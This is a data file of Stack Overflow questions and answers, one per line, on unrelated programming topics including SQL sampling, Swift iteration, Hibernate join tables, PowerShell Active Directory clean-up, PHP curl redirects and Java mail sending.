4453285	0	 <p>Okay here's what I wound up doing. It's not very elegant, but it works. I created a pre-build step that looks like this:</p> <pre><code>echo namespace Some.Namespace &gt; "$(ProjectDir)\CiInfo.cs" echo { &gt;&gt; "$(ProjectDir)\CiInfo.cs" echo ///^&lt;summary^&gt;Info about the continuous integration server build that produced this binary.^&lt;/summary^&gt; &gt;&gt; "$(ProjectDir)\CiInfo.cs" echo public static class CiInfo &gt;&gt; "$(ProjectDir)\CiInfo.cs" echo { &gt;&gt; "$(ProjectDir)\CiInfo.cs" echo ///^&lt;summary^&gt;The current build number, such as "153"^&lt;/summary^&gt; &gt;&gt; "$(ProjectDir)\CiInfo.cs" echo public const string BuildNumber = ("%BUILD_NUMBER%" == "" ? @"Unknown" : "%BUILD_NUMBER%"); &gt;&gt; "$(ProjectDir)\CiInfo.cs" echo ///^&lt;summary^&gt;String of the build number and build date/time, and other useful info.^&lt;/summary^&gt; &gt;&gt; "$(ProjectDir)\CiInfo.cs" echo public const string BuildTag = ("%BUILD_TAG%" == "" ? @"nohudson" : "%BUILD_TAG%") + " built: %DATE%-%TIME%"; &gt;&gt; "$(ProjectDir)\CiInfo.cs" echo } &gt;&gt; "$(ProjectDir)\CiInfo.cs" echo } &gt;&gt; "$(ProjectDir)\CiInfo.cs" </code></pre> <p>Then I added "CiInfo.cs" to the project, but ignored it from version control. That way I never have to edit it or commit it, and the project always has a constant available that is the latest build number and time.</p>
26894976	0	Taking Sample in SQL Query <p>I'm working on a problem which is something like this :</p> <p>I have a table with many columns but major are <code>DepartmentId</code> and <code>EmployeeIds</code></p> <pre><code>Employee Ids Department Ids ------------------------------ A 1 B 1 C 1 D 1 AA 2 BB 2 CC 2 A1 3 B1 3 C1 3 D1 3 </code></pre> <p>I want to write a SQL query such that I take out 2 sample <code>EmployeeIds</code> for each <code>DepartmentID</code>.</p> <p>like</p> <pre><code>Employee Id Dept Ids B 1 C 1 AA 2 CC 2 D1 3 A1 3 </code></pre> <p>Currently I am writing the query,</p> <pre><code>select EmployeeId, DeptIds, count(*) from table_name group by 1,2 sample 2 </code></pre> <p>but it gives me total two rows.</p> <p>Any help?</p>
33504736	0	 <p>In this case yes indeed the <code>return false</code> is returning from the <code>switch</code> and not the entire function. What you wan to do is create a flag variable and when you want to return from the function after the switch, check the flag:</p> <pre><code>function EmptyFieldCheck( .. ) { var returnFlag = false; switch (category) { case 'Hardware': if(..) { ... returnFlag = true; } break; ... } if(returnFlag) return false; /* Other posting code here */ } </code></pre>
22187056	0	tween movement speed control <p>I'm using tween engine for smoothing paths of moving entities. To make interpolation you feed function like this: </p> <p><code>Tween.to(myObject, POSITION, 1.0f) .target(50, 70) .ease(Quad.INOUT) .start(myManager);</code> </p> <p>Last argument of <code>to()</code> function is duration. What i learned, if path is longer, the entities move quicker to the target. Shorter the path is, entities move slower. I have float variable called movementSpeed, in every entity, that should move entities 7 pixels per seconds. What is the way using my variable for tween's movement speed instead of having it specified once at factory constructor?</p> <p>My implementation:</p> <pre><code>Stack&lt;Vector2i&gt; stack = new Stack&lt;Vector2i&gt;(); /* ...pushing path points from last to first to the stack. */ Tween t = Tween.to(this, EntityAccessor.POS, 4.0f); for (int i = stack.size()-1; i &gt;= 0; i--) { Vector2i cur = stack.get(i); if (i == 0) { // if point is last then t.target(cur.getX(), cur.getY()); } else { t.waypoint(cur.getX(), cur.getY()); } } t.ease(Quad.INOUT); t.path(TweenPaths.catmullRom); t.delay(0.5f); t.start(game.tweenManager); </code></pre>
16330953	0	Pluginf for Different header image on every pages in wordpress <p>I need wordpress plugin for this kind of header image <a href="http://www.slb.com/services/drilling.aspx" rel="nofollow"><a href="http://www.slb.com/services/drilling.aspx" rel="nofollow">http://www.slb.com/services/drilling.aspx</a></a> like in this web site. And this image will not be slider but it's static image on perticular page and category and also different image for all categories and pages. </p>
37998032	0	 <p>This is indeed expected behaviour – and it's due to the fact that an array in Swift (unlike <code>NSArray</code>) is a value type, meaning that it gets copied when passed about. Although as <a href="http://stackoverflow.com/a/37998340/2976878">@MartinR points out</a>, due to the copy-on-write behaviour of value types, the <em>actual</em> copy of the array will be done when you come to mutate it – although this is an optimisation that shouldn't affect how you think about value types.</p> <p>Therefore when you enumerate over an array, be it with <code>forEach()</code> or <code>for ... in</code> – you're actually iterating over a <em>copy</em> of that array. This works through using an <code>Iterator</code> (or <code>Generator</code> pre-Swift 3). What's happening behind the scenes when you iterate over a collection looks something like this:</p> <pre><code>let collection = [1, 2, 3, 4] var iterator = collection.makeIterator() // next() will return the next element, or nil if it's reached endIndex while let element = iterator.next() { // do something with the element } </code></pre> <p>In the case of an <code>Array</code>, an <code>IndexingIterator</code> is returned for <code>makeIterator()</code> – which will iterate through the elements by keeping track of an index, incrementing it each time you call <code>next()</code>, and returning the element at that given index – until you reach <code>endIndex</code>. (you can see its <a href="https://github.com/apple/swift/blob/master/stdlib/public/core/Collection.swift#L364" rel="nofollow">exact implementation here</a>).</p> <p>The array that you're iterating over is kept as a property of <code>IndexingIterator</code>, therefore ensuring that you're enumerating on a copy – but mutating the original. </p> <p>This therefore means that it's perfectly safe to mutate a value-typed collection while enumerating over it. The enumeration will iterate over the full length of the collection (as it works on the copy) – completely independant of any mutations you do to the original.</p>
19749569	0	Jquery DIV transition (or CSS) <p>I am currently looking for a way to slideDown or animate a div to transition from the top to the content height on the page load (undefined). Is this possible or can it only be done with a user event? It is okay if CSS is used in conjunction.</p>
13078547	0	 <p>You want:</p> <pre><code>awk -F"-" '{ print $3 }' </code></pre> <p>With <code>-F</code> you specify the delimiter. In this case, <code>-</code>. The version number is the third field, so that's why you need <code>$3</code>.</p>
39120413	0	 <p>Please add below line just above credentials and try if it will help:</p> <pre><code>smtp.DeliveryMethod = System.Net.Mail.SmtpDeliveryMethod.Network; </code></pre>
28169943	0	JPA/Hibernate, Delete on ManyToMany doesn't delete join table records <p>this has been asked a number of other times, but I can't figure out an answer in my case. </p> <p>I have this class <a href="http://tinyurl.com/nrhbnna" rel="nofollow">http://tinyurl.com/nrhbnna</a>, having a ManyToMany relationship to OntologyEntry. Here it is a fragment:</p> <pre><code>@MappedSuperclass public abstract class FreeTextTerm extends Identifiable { ... @ManyToMany( targetEntity = OntologyEntry.class, cascade = { CascadeType.MERGE, CascadeType.PERSIST, CascadeType.REFRESH } ) @JoinTable ( joinColumns = @JoinColumn ( name = "owner_id" ), inverseJoinColumns = @JoinColumn ( name = "oe_id" ) ) @SuppressWarnings ( "unchecked" ) public &lt;OE extends OntologyEntry&gt; Set&lt;OE&gt; getOntologyTerms () ... } </code></pre> <p>I don't have the symmetric side OntologyEntry.freeTextTerms(), cause I don't need it and they don't work well with polymorphism.</p> <p>Now, when I delete records from subclasses in HQL (eg, from ExperimentalPropertyValue, <a href="http://tinyurl.com/mydgnwr" rel="nofollow">http://tinyurl.com/mydgnwr</a>, or Unit, <a href="http://tinyurl.com/lu28sfu" rel="nofollow">http://tinyurl.com/lu28sfu</a>), Hibernate completely ignores records in the respective join tables (eg, it ignores unit_onto_entry, when I delete Unit instances, verified via logs), resulting in foreign key violations, if the current owner has such links.</p> <p>I already know this happens when you attempt to delete from the non-owner side of a many-to-many relation, but that's not the case here. Moreover, I don't think CascadeType.DELETE would help here, cause I do not want to delete children (ie, ontology entries), just the links to them.</p> <p>So, is Hibernate as crap as to ignore such links? (After years of experience, I really hate Hibernate). Do I have to use @PreRemove, as explained in <a href="http://tinyurl.com/kgpk92a" rel="nofollow">http://tinyurl.com/kgpk92a</a>, or is there a cleaner solution?</p> <p>Thanks in advance.</p>
34001616	0	 <p><code>Select-AzureRmSubscription</code> does change the approach that Azure uses for authentication. I had the same pain points when I converted my scripts. </p> <p>The official way of approaching this via scripting is as follows - </p> <pre><code>$profile = Login-AzureRmAccount Save-AzureRMProfile -Profile $profile -path $path </code></pre> <p>You can then use <code>Select-AzureRmSubscription</code> to none-interactively load those saved profiles. </p> <p>Although ultimately I didn't go this route, I decided to add another layer of security and use a machine based certificate to encrypt / decrypt credentials to pass to <code>Login-AzureRmAccount</code> This way I could manage multiple sets of accounts and never have to be concerned about those tokens being exposed on vulnerable machines. </p>
15848901	0	 <p>The whole point of using this plugin is to eliminate the need to generate images.</p> <p>Instead, you can use <a href="http://www.mathjax.org/" rel="nofollow">MathJax</a>, a free and open source JavaScript display engine to convert this formula back to an image.</p>
26205404	0	 <p>use this</p> <pre><code>&lt;?php $name="19875379"; $url = "http://www.ikea.co.il/default.asp?strSearch=".$name; $ch = curl_init(); $timeout = 0; curl_setopt ($ch, CURLOPT_URL, $url); curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout); curl_setopt($ch, CURLOPT_HEADER, TRUE); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_BINARYTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); $header = curl_exec($ch); $redir = curl_getinfo($ch, CURLINFO_EFFECTIVE_URL); //print_r($header); $x = preg_match("/&lt;script&gt;location.href=(.|\n)*?&lt;\/script&gt;/", $header, $matches); $script = $matches[0]; $redirect = str_replace("&lt;script&gt;location.href='", "", $script); $redirect = "http://www.ikea.co.il" . str_replace("';&lt;/script&gt;", "", $redirect); echo $redirect; ?&gt; </code></pre> <p><a href="http://stackoverflow.com/questions/20582717/get-the-last-redirected-url-in-curl-php">enter link description here</a></p>
8832790	0	Best practices for validating the configuration of a Spring web application <p>I would like that my Spring-based web application were able to <em>validate</em> its configuration during startup.</p> <p>This means for example:</p> <ul> <li>check if the <strong>required folders</strong> exist and are readable/writable</li> <li>check if the required <strong>configuration keys</strong> are set and consistent</li> <li>...</li> <li>check any other <strong>constraint</strong> that is required for the correct functioning</li> </ul> <p>How can you perform these checks and <strong>notify</strong> the system administrator if something is wrong?</p> <p>The goal is to reduce the risk that some critical error arises when the application is actually going to need those resources that are bound to the wrong configuration.</p> <p><strong>NOTE:</strong> my approach is to use a special <strong>EnvironmentValidation</strong> bean that checks if the configuration/folder structure is ok and if not it throws an exception</p>
8984537	0	 <p>Yes, it does. The javadoc says:</p> <blockquote> <p>Closes this input stream and releases any system resources associated with the stream.</p> </blockquote> <p>And the wrapped stream is definitely such a system resource.</p> <p>Moreover, GZIPInputStream <em>is a</em> FilterInputStream, and the FilterInputStream javadoc says:</p> <blockquote> <p>Closes this input stream and releases any system resources associated with the stream. This method simply performs in.close().</p> </blockquote>
3890919	0	Reset globally set routing suffix in symfony routing.yml file <p><br> I am using Symfony 1.3 and I have the following problem:<br> I need a url in this format www.domain.com/folder (no suffix) however the application sets the default suffix to be .html<br> Is there a way to override the global suffix in the routing.yml file? I could use mod_rewrite but I would like this link to be able to work without relying on a non-app resource.</p> <p>Thanks</p>
12549601	0	Clickatell alternative SMS-Gateway? <p>We're just about to go live but Clickatell seems to be problematic. Billing AND Server issues!!</p> <p>A quick google search shows a long record of problems.</p> <p>They did however made good impression at first but now we're simply not sure - they don't seem to be stable!</p> <p>So, which <strong>reliable</strong> SMS gateway would allow me to send simple English SMS to Israel (programmatically through an HTTP API)?</p> <p>Saw so far:</p> <ul> <li><a href="http://www.bulksms.com/">http://www.bulksms.com/</a></li> </ul>
14332143	0	Spring MVC - How to display blank textbox when integer value is zero <p>Im using spring, hibernate, java, and jsp. My problem is that when the integer value is zero it displays <code>0</code> in my textbox. I want to display only empty string but Idk how to do it. Please help.</p> <p>In my jsp:</p> <pre><code>&lt;form:form method="POST" commandName="division"&gt; ... ... &lt;form:input path="number"/&gt; &lt;/form:form&gt; </code></pre> <p>In my domain:</p> <pre><code>/** * Get the number of the division. * @return The number. */ @Column(name = "NUMBER") public int getNumber() { return number; } /** * Set the number of the division. * @param number The division number. */ public void setNumber(int number) { this.number = number; } </code></pre>
15745084	0	Time driven function in Google script <p>I am trying to download the data from a website every hour using Google script. The code is shown as below. When I manually run the function CSV_sgj, I can receive the desired information in email. But when I set the function as time driven (every hour), what I get are all #VALUE!. </p> <p>I found a similar question and tried to change </p> <pre><code>var sheet = SpreadsheetApp.getActiveSheet(); </code></pre> <p>to</p> <pre><code>var sheet = SpreadsheetApp.openById("0AtAYfCLk3-h7dDBnckdSZkNXbkZBLXBHV200SGtuZnc"); </code></pre> <p>but it still does not work.</p> <p>Many thanks in advance for help!</p> <p>The full code is below.</p> <pre><code>function readRows() { var sheet = SpreadsheetApp.getActiveSheet(); var rows = sheet.getDataRange(); var numRows = rows.getNumRows(); var values = rows.getValues(); for (var i = 0; i &lt;= numRows - 1; i++) { var row = values[i]; Logger.log(row); } }; /** * Adds a custom menu to the active spreadsheet, containing a single menu item * for invoking the readRows() function specified above. * The onOpen() function, when defined, is automatically invoked whenever the * spreadsheet is opened. * For more information on using the Spreadsheet API, see * https://developers.google.com/apps-script/service_spreadsheet */ function CSV_sgj() { readRows(); var sheet = SpreadsheetApp.getActiveSheet(); var range = sheet.getRange("A1:N32"); var data = range.getValues(); var csv = ""; for (var i = 0; i &lt; data.length; ++i) { csv += data[i].join(",") + "\r\n"; } var csvFiles = [{fileName:"PSI5.csv", content:csv}] MailApp.sendEmail("xxxxxx@gmail.com", "CSV", "", {attachments: csvFiles}); } </code></pre>
19778602	0	JAXPConfigurator is that some kind of a SAX parser? <p>Looking at some old code that uses JAXPConfigurator.configure(Reader, false) and not really sure what does it do; thanks.</p>
17516908	0	 <p>You have to create provisioning profiles for adhoc and distribution. See <a href="http://developer.apple.com/library/ios/ipad/#documentation/ToolsLanguages/Conceptual/YourFirstAppStoreSubmission/TestYourApponManyDevicesandiOSVersions/TestYourApponManyDevicesandiOSVersions.html" rel="nofollow">http://developer.apple.com/library/ios/ipad/#documentation/ToolsLanguages/Conceptual/YourFirstAppStoreSubmission/TestYourApponManyDevicesandiOSVersions/TestYourApponManyDevicesandiOSVersions.html</a> Under 'create an AdHoc provisioning profile'</p>
4924945	0	 <p>The key point is to loop thru the inputs and add their values.</p> <pre><code>var totalInput = 0; $("input").keyup(function () { //zero out the global var totalInput totalInput = 0; $("input").each(function(){ //for each input, add value to global totalInput totalInput += $(this).val() }); //setup price var item_price = parseFloat("50.25"); //display price times totalInput $("h3").text(totalInput * item_price); }); </code></pre>
22764343	0	Javascript not drawing on canvas <p>Over here, I am trying to paint image on a canvas (the image is a tile sheet). However, I have checked, the loop works just fine, the code is being executed, the cases are correct (I tested it by logging text to console) however, nothing is being painted on the console. The image is being loaded just fine.</p> <p>I really don't know what exactly causing this problem, there is no syntax error on the console. The following is my code, It might take a little time for anyone to analyse it, but any help is greatly appreciated.</p> <p>Here is the image "monsterTileSheet.png" as defined in the script below:</p> <p><img src="https://i.stack.imgur.com/dhkdO.png" alt="http://imgur.com/m0SY4UE"></p> <pre><code>var canvas = document.querySelector("canvas"); var drawingSurface = canvas.getContext("2d"); var image = new Image(); image.src = "monsterTileSheet.png"; image.addEventListener("load", loadHandler, false); var spaceInc = 0; // increment counter var inc = 5; // increment between the tiles var imgSize = 80; var map = [ [0, 0, 1, 0], [0, 0, 0, 0], [0, 0, 0, 0] ]; function adjustCanvas() { canvas.height = (map.length * imgSize) + (map.length * inc); canvas.width = (map[0].length * imgSize) + (map[0].length * inc); } var monster = { SIZE: 80, frames: 5, hiding: 0, jumping: 1, state: this.hiding, sourceX: 0, sourceY: 0, currentFrame: 0, COLUMNS: 3, start: function () { if (this.currentFrame &lt; this.frames) { this.sourceX = Math.floor(this.currentFrame % this.COLUMNS) * this.SIZE; this.sourceY = Math.floor(this.currentFrame / this.COLUMNS) * this.SIZE; this.currentFrame++; renderImage(); } else { window.clearInterval(interval); this.sourceX = 0; this.sourceY = 0; this.currentFrame = 0; } } }; var x = 0; var y = 0; function renderMap() { for (var i = 0; i &lt; map.length; i++) { for (var j = 0; j &lt; map[0].length; j++) { switch (map[i][j]) { case 0: drawingSurface.drawImage(image, 0, 0, monster.SIZE, monster.SIZE, (j * imgSize) + spaceInc, i * imgSize, imgSize, imgSize); if (spaceInc &gt;= (map[0].length - 1) * inc) { // reset increment spaceInc = 0; } else { spaceInc += inc; } console.log("Case 0"); break; case 1: x = map[i][j] * monster.SIZE y = map[j] * monster.SIZE; stGame(); console.log("Case 1"); break; default: console.log(j); break; } } } } function stGame() { interval = window.setInterval(function () { monster.start(); }, 300); } function loadHandler() { adjustCanvas(); renderMap(); } function renderImage() { drawingSurface.drawImage(image, monster.sourceX, monster.sourceY, monster.SIZE, monster.SIZE, x, y, monster.SIZE, monster.SIZE); } </code></pre>
1150483	0	 <p>Disclaimer: I'm no <strong>real</strong> a Win32 master :)</p> <p>I never used Qt Creator, but does it create a proper manifest for the exe?<br> maybe the manifest is for a different version (SP1 for example) and you have only the RTM version.<br> Are you using Vista? you can try to run <a href="http://blogs.msdn.com/junfeng/archive/2006/04/14/576314.aspx" rel="nofollow noreferrer">SxsTrace</a> to diagnose side by side issues.</p>
16568470	0	 <p>When using the command line, try escaping special characters like this:<br /> <code>!</code> ===> <code>\!</code></p>
7934774	0	Implementing $.when with $.ajax POST <p>I have an AJAX POST function. I want to obtain a successful callback then execute a function. I chose to achieve this with <code>$.when</code> as <a href="http://jsfiddle.net/smacky311/wYGj6/1/" rel="nofollow">follows</a></p> <pre><code>var url = '/echo/html/'; var json_text = ' '; var FireOrderCounter = 0; $.when( $.ajax({ type: 'POST', url: url, data: json_text, success: function () { FireOrderCounter++; alert('successfully completed Action ' + FireOrderCounter); var millisecondsToWait = 5000; setTimeout(function() { FireOrderCounter++; alert('Done Spinnin ' + FireOrderCounter); }, millisecondsToWait); }, dataType: 'html' }) ).then(openWindow()); function openWindow() { FireOrderCounter++; alert('opened window' + FireOrderCounter ); } </code></pre> <p><code>success</code> callback fires after <code>openWindow()</code>. Does this mean that <code>$.ajax</code> is somehow not deferred and <code>$.when</code> is simply <a href="http://api.jquery.com/jQuery.when/" rel="nofollow">assuming success</a> as described in the API?</p> <blockquote> <p>If a single argument is passed to jQuery.when and it is not a Deferred, it will be treated as a resolved</p> </blockquote> <p>This is a simplified test case. The production code fails similarly. I have to fire this event twice to obtain all the data. There is a race condition.</p> <p>I can insert a breakpoint to make the processing stop. The Function fires while I am still holding onto the debugger. So, its not waiting for a success callback. A short timeout (occurs after ~10 seconds)? How can I fix this?</p>
16857479	0	 <p>There are multiple syntax errors in your query:</p> <ul> <li><code>let</code> clauses have to be part of a <em>FLWOR</em> expression, which always ends with a <code>return</code> clause.</li> <li><code>if</code> cannot be used without <code>then</code> and <code>else</code> and does not use curly braces.</li> <li>The opening tag <code>&lt;res&gt;</code> needs a matching closing tag <code>&lt;/res&gt;</code> at the end of the query.</li> </ul> <p>The corrected query looks like this:</p> <pre><code>declare variable $datesList := ( "2013-01-01-00.30.00", "2013-01-01-01.00.00", "2013-01-01-01.30.00", "2013-01-01-02.00.00", "2013-01-01-02.30.00", "2013-01-01-03.00.00", "2013-01-01-03.30.00", "2013-01-01-04.00.00" ); &lt;res&gt;{ let $mcId1 := count(//ZZQAD2UsageTransactionSVC/usagePeriods/usagePeriodsList/SQs/SQsList[1]/mL) let $mcId2 := count(//ZZQAD2UsageTransactionSVC/usagePeriods/usagePeriodsList/SQs/SQsList[2]/mL) return if($mcId1 = 8) then ( for $mlList in //ZZQAD2UsageTransactionSVC/usagePeriods/usagePeriodsList/SQs/SQsList[1]/intervals/mL return if($mcId1 &gt; $mcId2) then &lt;text&gt;true&lt;/text&gt; else &lt;text&gt;false&lt;/text&gt; ) else () }&lt;/res&gt; </code></pre>
29946806	0	How can I use powershell to retrieve AD distinguishedName from the employeeID only? <p>What I'm trying to do is run a script which compares employee IDs from a CSV file to AD, and if they're NOT in the CSV but ARE in AD they should: - be disabled - have a termination date comment added to the description - move to a different OU</p> <p>The script I'm using below disables the account and adds the comment, but I get an error when it tries to move to different OU. The error is: Move-ADObject : Cannot find an object with identity: 'name1test' ...</p> <p>I've tried a lot of things to adjust the script to get the samAccountName or distinguishedName using only the employeeID, but I've had no luck. Any ideas?</p> <pre><code>Import-Module ActiveDirectory $TargetOU = "ou=Term,ou=Logins,dc=domain,dc=com" $Date = Get-Date -Format MM-dd-yyyy $Users = Import-Csv c:\ADTerm.csv | Select-object -ExpandProperty EmployeeID $Terms = Get-ADUser -filter * -SearchBase "ou=Test,ou=Logins,dc=domain,dc=com" -Properties EmployeeID | Where-Object{$_.EmployeeID -and ($Users -notcontains $_.EmployeeID)} ForEach ($Term in $Terms) { # Retrieve user sAMAccountName. $Name = $Term.sAMAccountName # Disable the user. Set-ADUser -Identity $Name -Enabled $False -Description "Terminated - $Date" # Move the user. Move-ADObject -Identity $Name -TargetPath $TargetOU } </code></pre>
2649447	0	Using MembershipCreateStatus in MVC <p>How can I use the MembershipCreateStatus in my controller below to identify errors?</p> <p>My controller below creates a new user but I would like to catch any errors from CreateStatus and add the error to my modelstate.</p> <p>I keep getting errors for status below.</p> <pre><code> [HttpPost] public ActionResult CreateUser(user UserToCreate) { if (ModelState.IsValid) { // TODO: If the UserToCreate object is Valid we'll //Eventually want to save it in a database MembershipCreateStatus status; MembershipService newMembershipService = new MembershipService(); MembershipCreateStatus newUser = newMembershipService.CreateUser(UserToCreate.Username, UserToCreate.Password, UserToCreate.Email,out MembershipCreateStatus **status**); if (newUser == MembershipCreateStatus.Success) { return RedirectToAction("Index", "Home"); } else { ModelState.AddModelError(createStatus); return Redirect("/"); } } //Invalid - redisplay form with errors return View(UserToCreate); } </code></pre>
28707049	0	what are some techniques for DRY-ing up macros in Sweet.js? <p>let's say i have these two macros which are identical except for the macro name:</p> <pre><code>macro h1 { case {$name ($x (,) ...)} =&gt; { letstx $nameVal = [makeValue(unwrapSyntax(#{$name}), null)] return #{React.createElement($nameVal, $x (,) ...)} } } macro h2 { case {$name ($x (,) ...)} =&gt; { letstx $nameVal = [makeValue(unwrapSyntax(#{$name}), null)] return #{React.createElement($nameVal, $x (,) ...)} } } </code></pre> <p>what are my options for code reuse here? can i have a macro generate a macro? </p> <p>or could i minimally place the body portion (beginning with <code>letstx...</code>) in it's own 'internal' macro?:</p>
34675556	0	 <p>If you keep your branches relatively related you might be able to use some of the mergeinfo helpers of Subversion to do most of the heavy lifting of determining what is on one branch and not on the other.</p> <p>But if you use strict project policies doing things yourself might be much easier than that. Subversion tries to solve things in a 100% generic way, which may or may not match your requirements.</p>
13850085	0	How to check in Perl if symbolic link error? <p>The following bit errors out:</p> <pre><code># Only Execute on Prod Stagesif ($stage eq 'Prod') { if ($stage eq "Prod") { # If /mysql symlink exists, exit0 immediately if ( -l "/mysql" ) { exit(0); } elsif { die "Did not meet expected system disk configuration"; } } exit (0); </code></pre> <p>with:</p> <pre><code>syntax error at ./010MySQLDataDirectoryCheck.pl line 16, near "elsif {" syntax error at ./010MySQLDataDirectoryCheck.pl line 19, near "}" Execution of ./010MySQLDataDirectoryCheck.pl aborted due to compilation errors. </code></pre> <p>What exactly did I miss?</p>
6963888	0	android programming: Methods of Storing Forward(sending) user's location? <p>I am a total novice on android programming and is relying on threads/solutions by veteran android programmers to enhance my application. For now I have 2 problems regarding our android app:</p> <p>How and where could our users send their current location? What ways can we store the location of our users and use it on our application?</p>
4484149	0	 <pre><code>PointerInfo a = MouseInfo.getPointerInfo(); Point b = a.getLocation(); int x = (int) b.getX(); int y = (int) b.getY(); System.out.print(y + "jjjjjjjjj"); System.out.print(x); Robot r = new Robot(); r.mouseMove(x, y - 50); </code></pre>
20912732	0	 <p>Try this JSFiddle that seems to fit your needs <a href="http://jsfiddle.net/9nF5W/" rel="nofollow">http://jsfiddle.net/9nF5W/</a></p> <pre><code>function test(email, name) { if (email == "" || name == "") { alert("Enter mail or name"); return false; } if (email.indexOf("@") == -1) { alert("Bad email"); return false; } var a = email.length; var b = name.length; if (a &gt; 0 &amp;&amp; b &gt; 0) { alert("Message sent"); } return true; } test('tes@t', 'test'); </code></pre> <p>I think there is an other mistake than the returns statements in "<code>if(a==&gt;0, b==&gt;0){</code>" by the way.</p>
34223566	0	 <p>Use the <code>SyntaxFactory.RegionDirectiveTrivia()</code>. You can always refer to the <a href="http://roslynquoter.azurewebsites.net/" rel="nofollow">Roslyn Quoter</a> site, when you don't know who to generate some part of a piece of code.</p>
10850079	0	 <p>JavaScript knows <em>nothing</em> about the JSF code. Instead it knows everything about its generated HTML output. Look at the generated HTML output by rightclick page in browser and <em>View Source</em>. If you look closely, you'll see that the <code>&lt;p:selectOneMenu&gt;</code> doesn't generate a <code>&lt;select&gt;&lt;option&gt;</code>, it instead generates a <code>&lt;div&gt;&lt;ul&gt;&lt;li&gt;</code>. The <code>disabled</code> attribute is only supported on <code>&lt;select&gt;</code>. Hence you don't see any effect.</p> <p>I suggest you to disable the thing via JSF ajax instead of via JavaScript. It's a matter of adding a <code>&lt;f:ajax&gt;</code> or <code>&lt;p:ajax&gt;</code> inside the dropdown and specifying the IDs of components which needs to be updated wherein the <code>disabled</code> check is been done based on the currently selected item. No need for JavaScript boilerplate anymore. This way you'll also take advantage of the robustness of server side validation.</p> <pre><code>&lt;p:selectOneMenu binding="#{searchType}" ...&gt; &lt;f:selectItem itemLabel="Search By Skill" itemValue="1" /&gt; &lt;f:selectItem itemLabel="Search By Location" itemValue="2" /&gt; &lt;p:ajax update="search type1" /&gt; &lt;/p:selectOneMenu&gt; &lt;p:inputText id="search" ... disabled="#{searchType.value == 2}" /&gt; &lt;p:selectOneMenu id="type1" ... disabled="#{searchType.value == 1}"&gt; ... &lt;/p:selectOneMenu&gt; </code></pre> <hr> <p>By the way, the variable name "combo" is wrong. It's a dropdown, not a combobox. A combobox is an <strong>editable</strong> dropdown. The <code>&lt;p:selectOneMenu&gt;</code> doesn't render an editable dropdown, but just a dropdown.</p>
36844757	0	Rails Streamio FFMPEG taking a screenshot of the movie and upload with carrierwave <p>I have got a Form where I can upload a movie. Its uploaded with carrierwave.</p> <p>In this process I want to Make a screenshot of the movie while uploading. </p> <p>How can I do this with Streamio FFMPEG.</p> <p>My code Looks like this at the moment.</p> <pre><code>#Laedt ein Video hoch def uploadMovie @channels = Channel.all @vid = Movie.new(movies_params) @channel = Channel.find(params[:channel_id]) @vid.channel = @channel if @vid.save flash[:notice] = t("flash.saved") render :add else render :add end end </code></pre> <p>Do I have to do this in controller method or in the carrierwave uplaoder?</p> <p>Update: I tried it this way:</p> <pre><code>if @vid.save flash[:notice] = t("flash.saved") movieFile = FFMPEG::Movie.new(@vid.video.to_s) screenshot = movieFile.screenshot("uploads/screenshot", :seek_time =&gt; 10) render :add else </code></pre> <p>But then I got tis error: </p> <pre><code>s3.amazonaws.com/uploads/movie/video/6/2016-04-24_16.26.10.mp4' does not exist </code></pre>
23284238	0	iOS capture audio playback into a file <p>I'd like to know if it's possible to record an audio playback into a file in ios without using microphone. In another word, is it possible to capture the audio playback "raw data" into a file?</p> <p>I tried the AVAudioRecorder, but there is no option to record without using the microphone. Any idea? Thanks</p>
4276758	0	 <p>Given that sqlite only supports UTF-8 and UTF-16 as the encodings, you would have noticed if Android would create databases in something other than UTF-8. <a href="http://www.sqlite.org/c3ref/open.html">sqlite3_open</a> defaults to create the database in UTF-8, and that is what Android is likely to use.</p>
19503112	0	 PhantomJS is a headless (GUI-less) WebKit with JavaScript API. It has native support for various web standards: DOM handling, CSS selector, JSON, Canvas, and SVG. This tag deals specifically with PhantomJS version 1.9.
39304358	0	 <p>Yes, you can do it that way. If it's not a hard work, I'll include the database load on the Perl step. This probably avoids to handle an intermediate file, but I don't know if it's a viable task on your project.</p> <p>In order to use RabbitMQ, I'll recommend you the <a href="https://metacpan.org/pod/AnyEvent::RabbitMQ" rel="nofollow">AnyEvent::RabbitMQ</a> CPAN module. As the documentation establishes, You can use AnyEvent::RabbitMQ to:</p> <ul> <li>Declare and delete exchanges</li> <li>Declare, delete, bind and unbind queues</li> <li>Set QoS and confirm mode</li> <li>Publish, consume, get, ack, recover and reject messages</li> <li>Select, commit and rollback transactions</li> </ul>
12510031	0	No Exception In Apache James Server <p>I am using Apache James Server to send e-mails on my localhost. When an e-mail is not sent, no Exception is thrown through from the Java Spring code. I am using Apache James Server 3. Below is my code. Usually, when you have an online server an Exception is thrown. Do I need to configure something in Apache James Server? E-mails are sent to local users but I want to send to an external e-mail address. I know the e-mail won't be sent, but no Exception is thrown. However, the Apache James Server keeps on trying to resend the e-mail. Any ideas?</p> <p>Below is my code:</p> <pre><code>public class Email extends Message { private JavaMailSender javaMailSender; public Email() { } public JavaMailSender getJavaMailSender() { return javaMailSender; } public void setJavaMailSender(JavaMailSender javaMailSender) { this.javaMailSender = javaMailSender; } public boolean sendEmailMessage(String from, String to, String body, String subject) throws Exception { boolean isEmailSent = false; try { javaMailSender.send(new MessageBuilder(from, to , body, subject)); isEmailSent = true; } catch(Exception e) { System.out.println("Exception : " + " " + e.getMessage()); } } return isEmailSent; } } package com.JavaMailWithSpring; import org.springframework.mail.javamail.MimeMessageHelper; import org.springframework.mail.javamail.MimeMessagePreparator; import javax.mail.internet.MimeMessage; public class MessageBuilder implements MimeMessagePreparator { private String from; private String to; private String body; private String subject; public MessageBuilder(String from, String to, String subject, String body) { this.from = from; this.to = to; this.subject = subject; this.body = body; } public void prepare(MimeMessage msg) throws Exception { MimeMessageHelper helper = new MimeMessageHelper(msg, true); helper.setFrom(from); helper.setTo(to); helper.setSubject(subject); helper.setText(body); } } </code></pre> <p>beans.xml</p> <pre><code>&lt;bean id="mailSenderBean" class="org.springframework.mail.javamail.JavaMailSenderImpl"&gt; &lt;property name="host" value="localhost"&gt;&lt;/property&gt; &lt;property name="javaMailProperties"&gt; &lt;props&gt; &lt;prop key="mail.smtp.port"&gt;25&lt;/prop&gt; &lt;/props&gt; &lt;/property&gt; &lt;/bean&gt; </code></pre>
